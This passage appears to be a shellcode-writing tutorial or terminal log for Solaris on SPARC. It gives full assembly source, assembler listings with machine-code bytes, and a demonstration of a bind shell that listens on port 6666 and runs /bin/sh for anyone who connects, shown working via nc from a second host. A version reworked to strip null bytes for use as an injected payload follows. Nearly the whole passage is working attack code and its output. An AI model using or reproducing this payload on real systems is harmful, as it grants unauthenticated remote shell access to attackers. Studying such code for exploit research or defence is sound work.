   mov %l0, %o0              ! mov the sock to %o0
   sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
   ta KERNEL                 ! call kernel

   mov %l0, %o0              ! mov the sock into %o0
   and %o4, %o4, %o1         ! backlog 1
   and %o4, %o4, %o2         ! extra SOV_DEFAULT
   mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
   ta KERNEL                 ! call kernel

   ! we need 16 more for the client sockaddr_in plus 4 for its size

   mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
   st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address

   mov %l0, %o0              ! mov the sock into %o0
   sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
   sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
   and %o4, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
   mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
   ta KERNEL                 ! call kernel

   xor %o0, %o0, %o0
   mov SYS_EXIT, %g1
   ta KERNEL

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} ./portbind &
[1] 1203
entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST

      *.6666               *.*                0      0 49152      0 LISTEN

Ok now the 3 closes, fcntl's and our shell execve from eariler.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_FCNTL, 62
.equ SYS_SETREUID, 202
.equ SYS_CLOSE, 6
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

   mov PF_INET, %o0          ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3         ! xor %o3 to 0
   sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
   mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
   ta KERNEL                 ! call socket
   and %o0, %o0, %l0         ! save sock in %l0

                             ! 8 bytes we skip for char zero[8]
   mov INADDR_ANY, %l1       ! mov INADDR_ANY(0) to %l1
   st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
   sethi %hi(PORT), %l1      ! set the high bits of %l1
   or %l1, %lo(PORT), %l1    ! set the lo bits of %l1 to our port
   sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1          ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16

   mov %l0, %o0              ! mov the sock to %o0
   sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
   ta KERNEL                 ! call kernel

   mov %l0, %o0              ! mov the sock into %o0
   and %o4, %o4, %o1         ! backlog 1
   and %o4, %o4, %o2         ! extra SOV_DEFAULT
   mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
   ta KERNEL                 ! call kernel

   ! we need 16 more for the client sockaddr_in plus 4 for its size

   mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
   st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address

   mov %l0, %o0              ! mov the sock into %o0
   sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
   sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
   and %o4, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
   mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
   ta KERNEL                 ! call kernel
   mov %o0, %l2              ! save client sock into %l2

   xor %o1, %o1, %o0         ! set %o0 to 0
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   mov %l2, %o0              ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   xor %o1, %o1, %o2         ! xor %o2 to 0
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   and %o4, %o4, %o0         ! set %o0 to 1 (%o4 is still 1)
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   mov %l2, %o0              ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   and %o4, %o4, %o2         ! and %o2 to 1
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   and %o4, %o4, %o0         ! set %o0 to 1
   add %o0, %o0, %o0         ! add %o0 to %0
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   mov %l2, %o0              ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   and %o4, %o4, %o2         ! and %o2 to 1
   add %o2, %o2, %o2         ! add %o2 to %o2
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   ! '/bin/sh\0' = 2f62696e2f7368
   sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
   or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
   sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
   std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
   sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
   st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
   sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
   xor %o2, %o2, %o2          ! set %o2 to null (third arg)
   mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
   ta KERNEL                  ! call kernel

   xor %o0, %o0, %o0
   mov SYS_EXIT, %g1
   ta KERNEL

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
SPARC GAS  portbind.s                   page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ KERNEL, 0x08
   4                    .equ SYS_FCNTL, 62
   5                    .equ SYS_SETREUID, 202
   6                    .equ SYS_CLOSE, 6
   7                    .equ SYS_SOCKET, 230
   8                    .equ SYS_BIND, 232
   9                    .equ SYS_LISTEN, 233
  10                    .equ SYS_ACCEPT, 234
  11                    .equ SYS_DUP, 41
  12                    .equ SYS_EXECVE, 59
  13                    .equ SYS_EXIT,1
  14                    .equ SOCKADDR_IN_SIZE, 16
  15                    .equ PF_INET, 2
  16                    .equ AF_INET, 2
  17                    .equ SOCK_STREAM, 2
  18                    .equ IPPROTO_TCP, 6
  19                    .equ INADDR_ANY, 0
  20                    .equ PORT, 6666
  21                    .equ STDIN, 0
  22                    .equ STDOUT, 1
  23                    .equ STDERR, 2
  24
  25                    .section .text
  26                    .global _start
  27                    _start:
  28
  29 0000 90102002         mov PF_INET, %o0          ! mov PF_INET(2) into %o0
  30 0004 92102002         mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
  31 0008 94102006         mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
  32 000c 961A4009         xor %o1, %o1, %o3         ! xor %o3 to 0
  33 0010 98222001         sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
  34 0014 821020E6         mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
  35 0018 91D02008         ta KERNEL                 ! call socket
  36 001c A00A0008         and %o0, %o0, %l0         ! save sock in %l0
  37
  38                                                 ! 8 bytes we skip for char zero[8]
  39 0020 A2102000         mov INADDR_ANY, %l1       ! mov INADDR_ANY(0) to %l1
  40 0024 E223BFF4         st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
  41 0028 23000006         sethi %hi(PORT), %l1      ! set the high bits of %l1
  42 002c A214620A         or %l1, %lo(PORT), %l1    ! set the lo bits of %l1 to our port
  43 0030 E233BFF2         sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
  44 0034 A2102002         mov AF_INET, %l1          ! mov AF_INET(2) to %l1
  45 0038 E233BFF0         sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16
  46
  47 003c 90100010         mov %l0, %o0              ! mov the sock to %o0
  48 0040 9223A010         sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
  49 0044 94102010         mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  50 0048 821020E8         mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
  51 004c 91D02008         ta KERNEL                 ! call kernel
  52
  53 0050 90100010         mov %l0, %o0              ! mov the sock into %o0
  54 0054 920B000C         and %o4, %o4, %o1         ! backlog 1
  55 0058 940B000C         and %o4, %o4, %o2         ! extra SOV_DEFAULT
  56 005c 821020E9         mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
  57 0060 91D02008         ta KERNEL                 ! call kernel

SPARC GAS  portbind.s                   page 2


  58
  59                       ! we need 16 more for the client sockaddr_in plus 4 for its size
  60
  61 0064 A2102010         mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  62 0068 E223BFDC         st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address
  63
  64 006c 90100010         mov %l0, %o0              ! mov the sock into %o0
  65 0070 9223A020         sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
  66 0074 9423A024         sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  67 0078 960B000C         and %o4, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
  68 007c 821020EA         mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
  69 0080 91D02008         ta KERNEL                 ! call kernel
  70 0084 A4100008         mov %o0, %l2              ! save client sock into %l2
  71
  72 0088 901A4009         xor %o1, %o1, %o0         ! set %o0 to 0
  73 008c 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  74 0090 91D02008         ta KERNEL                 ! call kernel
  75
  76 0094 90100012         mov %l2, %o0              ! move client sock into %o0
  77 0098 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  78 009c 941A4009         xor %o1, %o1, %o2         ! xor %o2 to 0
  79 00a0 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  80 00a4 91D02008         ta KERNEL                 ! call kernel
  81
  82 00a8 900B000C         and %o4, %o4, %o0         ! set %o0 to 1 (%o4 is still 1)
  83 00ac 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  84 00b0 91D02008         ta KERNEL                 ! call kernel
  85
  86 00b4 90100012         mov %l2, %o0              ! move client sock into %o0
  87 00b8 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  88 00bc 940B000C         and %o4, %o4, %o2         ! and %o2 to 1
  89 00c0 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  90 00c4 91D02008         ta KERNEL                 ! call kernel
  91
  92 00c8 900B000C         and %o4, %o4, %o0         ! set %o0 to 1
  93 00cc 90020008         add %o0, %o0, %o0         ! add %o0 to %0
  94 00d0 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  95 00d4 91D02008         ta KERNEL                 ! call kernel
  96
  97 00d8 90100012         mov %l2, %o0              ! move client sock into %o0
  98 00dc 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  99 00e0 940B000C         and %o4, %o4, %o2         ! and %o2 to 1
 100 00e4 9402800A         add %o2, %o2, %o2         ! add %o2 to %o2
 101 00e8 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
 102 00ec 91D02008         ta KERNEL                 ! call kernel
 103
 104                       ! '/bin/sh\0' = 2f62696e2f7368
 105 00f0 210BD89A         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
 106 00f4 A014216E         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
 107 00f8 230BDCDA         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
 108 00fc E03BBFF0         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
 109 0100 9023A010         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
 110 0104 D023BFF8         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
 111 0108 9223A008         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
 112 010c 941A800A         xor %o2, %o2, %o2          ! set %o2 to null (third arg)
 113 0110 8210203B         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
 114 0114 91D02008         ta KERNEL                  ! call kernel

SPARC GAS  portbind.s                   page 3


 115
 116 0118 901A0008         xor %o0, %o0, %o0
 117 011c 82102001         mov SYS_EXIT, %g1
 118 0120 91D02008         ta KERNEL

SPARC GAS  portbind.s                   page 4


DEFINED SYMBOLS
          portbind.s:3      *ABS*:0000000000000008 KERNEL
          portbind.s:4      *ABS*:000000000000003e SYS_FCNTL
          portbind.s:5      *ABS*:00000000000000ca SYS_SETREUID
          portbind.s:6      *ABS*:0000000000000006 SYS_CLOSE
          portbind.s:7      *ABS*:00000000000000e6 SYS_SOCKET
          portbind.s:8      *ABS*:00000000000000e8 SYS_BIND
          portbind.s:9      *ABS*:00000000000000e9 SYS_LISTEN
          portbind.s:10     *ABS*:00000000000000ea SYS_ACCEPT
          portbind.s:11     *ABS*:0000000000000029 SYS_DUP
          portbind.s:12     *ABS*:000000000000003b SYS_EXECVE
          portbind.s:13     *ABS*:0000000000000001 SYS_EXIT
          portbind.s:14     *ABS*:0000000000000010 SOCKADDR_IN_SIZE
          portbind.s:15     *ABS*:0000000000000002 PF_INET
          portbind.s:16     *ABS*:0000000000000002 AF_INET
          portbind.s:17     *ABS*:0000000000000002 SOCK_STREAM
          portbind.s:18     *ABS*:0000000000000006 IPPROTO_TCP
          portbind.s:19     *ABS*:0000000000000000 INADDR_ANY
          portbind.s:20     *ABS*:0000000000001a0a PORT
          portbind.s:21     *ABS*:0000000000000000 STDIN
          portbind.s:22     *ABS*:0000000000000001 STDOUT
          portbind.s:23     *ABS*:0000000000000002 STDERR
          portbind.s:27     .text:0000000000000000 _start

NO UNDEFINED SYMBOLS
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} ./portbind

And from another host...

entropy@phalaris {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc solaris 6666
id
uid=500(entropy) gid=100(entropy)
pwd
/export/home/entropy/asm
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
exit

Nice. Now removal of nulls, there are many ways to do this I got:

entropy@solaris {/export/home/entropy/asm} cat portbind2.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_FCNTL, 62
.equ SYS_SETREUID, 202
.equ SYS_CLOSE, 6
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

   xor %o1, %o1, %o5

   mov PF_INET, %o0          ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3         ! xor %o3 to 0
   sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
   mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
   ta KERNEL                 ! call socket
   xor %o5, %o0, %l0         ! save sock in %l0

                             ! 8 bytes we skip for char zero[8]
   xor %o1, %o1, %l1         ! mov INADDR_ANY(0) to %l1
   st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
   mov 3333, %l1             ! set the high bits of %l1
   add 3333, %l1, %l1         ! set the lo bits of %l1 to our port
   sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1          ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16

   xor %o5, %l0, %o0         ! mov the sock to %o0
   sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
   ta KERNEL                 ! call kernel

   xor %o5, %l0, %o0         ! mov the sock into %o0
   xor %o5, %o4, %o1         ! backlog 1
   xor %o5, %o4, %o2         ! extra SOV_DEFAULT
   mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
   ta KERNEL                 ! call kernel

   ! we need 16 more for the client sockaddr_in plus 4 for its size

   mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
   st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address

   xor %o5, %l0, %o0         ! mov the sock into %o0
   sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
   sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
   xor %o5, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
   mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
   ta KERNEL                 ! call kernel
   xor %o5, %o0, %l2         ! save client sock into %l2

   xor %o1, %o1, %o0         ! set %o0 to 0
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   xor %o5, %l2, %o0         ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   xor %o1, %o1, %o2         ! xor %o2 to 0
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   xor %o5, %o4, %o0         ! set %o0 to 1 (%o4 is still 1)
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   xor %o5, %l2, %o0         ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   xor %o5, %o4, %o2         ! and %o2 to 1
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   add %o2, %o2, %o2         ! set %o0 to 1
   xor %o5, %o2, %o0         ! add %o0 to %0
   mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                 ! call kernel

   xor %o5, %l2, %o0         ! move client sock into %o0
   xor %o1, %o1, %o1         ! xor %o1 to 0
   xor %o5, %o4, %o2         ! and %o2 to 1
   add %o2, %o2, %o2         ! add %o2 to %o2
   mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                 ! call kernel

   ! '/bin/sh\0' = 2f62696e2f7368
   sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
   or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
   sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
   std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
   sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
   st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
   sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
   xor %o2, %o2, %o2          ! set %o2 to null (third arg)
   mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
   ta KERNEL                  ! call kernel

   xor %o1, %o1, %o0
   mov SYS_EXIT, %g1
   ta KERNEL

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind2.s -o portbind2.o
SPARC GAS  portbind2.s                  page 1


   1                    .align 4
   2                    .section .rodata
   3                    .equ KERNEL, 0x08
   4                    .equ SYS_FCNTL, 62
   5                    .equ SYS_SETREUID, 202
   6                    .equ SYS_CLOSE, 6
   7                    .equ SYS_SOCKET, 230
   8                    .equ SYS_BIND, 232
   9                    .equ SYS_LISTEN, 233
  10                    .equ SYS_ACCEPT, 234
  11                    .equ SYS_DUP, 41
  12                    .equ SYS_EXECVE, 59
  13                    .equ SYS_EXIT,1
  14                    .equ SOCKADDR_IN_SIZE, 16
  15                    .equ PF_INET, 2
  16                    .equ AF_INET, 2
  17                    .equ SOCK_STREAM, 2
  18                    .equ IPPROTO_TCP, 6
  19                    .equ INADDR_ANY, 0
  20                    .equ PORT, 6666
  21                    .equ STDIN, 0
  22                    .equ STDOUT, 1
  23                    .equ STDERR, 2
  24
  25                    .section .text
  26                    .global _start
  27                    _start:
  28
  29 0000 9A1A4009         xor %o1, %o1, %o5
  30
  31 0004 90102002         mov PF_INET, %o0          ! mov PF_INET(2) into %o0
  32 0008 92102002         mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
  33 000c 94102006         mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
  34 0010 961A4009         xor %o1, %o1, %o3         ! xor %o3 to 0
  35 0014 98222001         sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
  36 0018 821020E6         mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
  37 001c 91D02008         ta KERNEL                 ! call socket
  38 0020 A01B4008         xor %o5, %o0, %l0         ! save sock in %l0
  39
  40                                                 ! 8 bytes we skip for char zero[8]
  41 0024 A21A4009         xor %o1, %o1, %l1         ! mov INADDR_ANY(0) to %l1
  42 0028 E223BFF4         st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
  43 002c A2102D05         mov 3333, %l1             ! set the high bits of %l1
  44 0030 A2046D05         add 3333, %l1, %l1         ! set the lo bits of %l1 to our port
  45 0034 E233BFF2         sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
  46 0038 A2102002         mov AF_INET, %l1          ! mov AF_INET(2) to %l1
  47 003c E233BFF0         sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16
  48
  49 0040 901B4010         xor %o5, %l0, %o0         ! mov the sock to %o0
  50 0044 9223A010         sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
  51 0048 94102010         mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  52 004c 821020E8         mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
  53 0050 91D02008         ta KERNEL                 ! call kernel
  54
  55 0054 901B4010         xor %o5, %l0, %o0         ! mov the sock into %o0
  56 0058 921B400C         xor %o5, %o4, %o1         ! backlog 1
  57 005c 941B400C         xor %o5, %o4, %o2         ! extra SOV_DEFAULT

SPARC GAS  portbind2.s                  page 2


  58 0060 821020E9         mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
  59 0064 91D02008         ta KERNEL                 ! call kernel
  60
  61                       ! we need 16 more for the client sockaddr_in plus 4 for its size
  62
  63 0068 A2102010         mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  64 006c E223BFDC         st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address
  65
  66 0070 901B4010         xor %o5, %l0, %o0         ! mov the sock into %o0
  67 0074 9223A020         sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
  68 0078 9423A024         sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  69 007c 961B400C         xor %o5, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
  70 0080 821020EA         mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
  71 0084 91D02008         ta KERNEL                 ! call kernel
  72 0088 A41B4008         xor %o5, %o0, %l2         ! save client sock into %l2
  73
  74 008c 901A4009         xor %o1, %o1, %o0         ! set %o0 to 0
  75 0090 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  76 0094 91D02008         ta KERNEL                 ! call kernel
  77
  78 0098 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
  79 009c 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  80 00a0 941A4009         xor %o1, %o1, %o2         ! xor %o2 to 0
  81 00a4 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  82 00a8 91D02008         ta KERNEL                 ! call kernel
  83
  84 00ac 901B400C         xor %o5, %o4, %o0         ! set %o0 to 1 (%o4 is still 1)
  85 00b0 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  86 00b4 91D02008         ta KERNEL                 ! call kernel
  87
  88 00b8 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
  89 00bc 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  90 00c0 941B400C         xor %o5, %o4, %o2         ! and %o2 to 1
  91 00c4 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  92 00c8 91D02008         ta KERNEL                 ! call kernel
  93
  94 00cc 9402800A         add %o2, %o2, %o2         ! set %o0 to 1
  95 00d0 901B400A         xor %o5, %o2, %o0         ! add %o0 to %0
  96 00d4 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  97 00d8 91D02008         ta KERNEL                 ! call kernel
  98
  99 00dc 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
 100 00e0 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
 101 00e4 941B400C         xor %o5, %o4, %o2         ! and %o2 to 1
 102 00e8 9402800A         add %o2, %o2, %o2         ! add %o2 to %o2
 103 00ec 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
 104 00f0 91D02008         ta KERNEL                 ! call kernel
 105
 106                       ! '/bin/sh\0' = 2f62696e2f7368
 107 00f4 210BD89A         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
 108 00f8 A014216E         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
 109 00fc 230BDCDA         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
 110 0100 E03BBFF0         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
 111 0104 9023A010         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
 112 0108 D023BFF8         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
 113 010c 9223A008         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
 114 0110 941A800A         xor %o2, %o2, %o2          ! set %o2 to null (third arg)

SPARC GAS  portbind2.s                  page 3


 115 0114 8210203B         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
 116 0118 91D02008         ta KERNEL                  ! call kernel
 117
 118 011c 901A4009         xor %o1, %o1, %o0
 119 0120 82102001         mov SYS_EXIT, %g1
 120 0124 91D02008         ta KERNEL

SPARC GAS  portbind2.s                  page 4


DEFINED SYMBOLS
         portbind2.s:3      *ABS*:0000000000000008 KERNEL
         portbind2.s:4      *ABS*:000000000000003e SYS_FCNTL
         portbind2.s:5      *ABS*:00000000000000ca SYS_SETREUID
         portbind2.s:6      *ABS*:0000000000000006 SYS_CLOSE
         portbind2.s:7      *ABS*:00000000000000e6 SYS_SOCKET
         portbind2.s:8      *ABS*:00000000000000e8 SYS_BIND
         portbind2.s:9      *ABS*:00000000000000e9 SYS_LISTEN
         portbind2.s:10     *ABS*:00000000000000ea SYS_ACCEPT
         portbind2.s:11     *ABS*:0000000000000029 SYS_DUP
         portbind2.s:12     *ABS*:000000000000003b SYS_EXECVE
         portbind2.s:13     *ABS*:0000000000000001 SYS_EXIT
         portbind2.s:14     *ABS*:0000000000000010 SOCKADDR_IN_SIZE
         portbind2.s:15     *ABS*:0000000000000002 PF_INET
         portbind2.s:16     *ABS*:0000000000000002 AF_INET
         portbind2.s:17     *ABS*:0000000000000002 SOCK_STREAM
         portbind2.s:18     *ABS*:0000000000000006 IPPROTO_TCP
         portbind2.s:19     *ABS*:0000000000000000 INADDR_ANY
         portbind2.s:20     *ABS*:0000000000001a0a PORT
         portbind2.s:21     *ABS*:0000000000000000 STDIN
         portbind2.s:22     *ABS*:0000000000000001 STDOUT
         portbind2.s:23     *ABS*:0000000000000002 STDERR
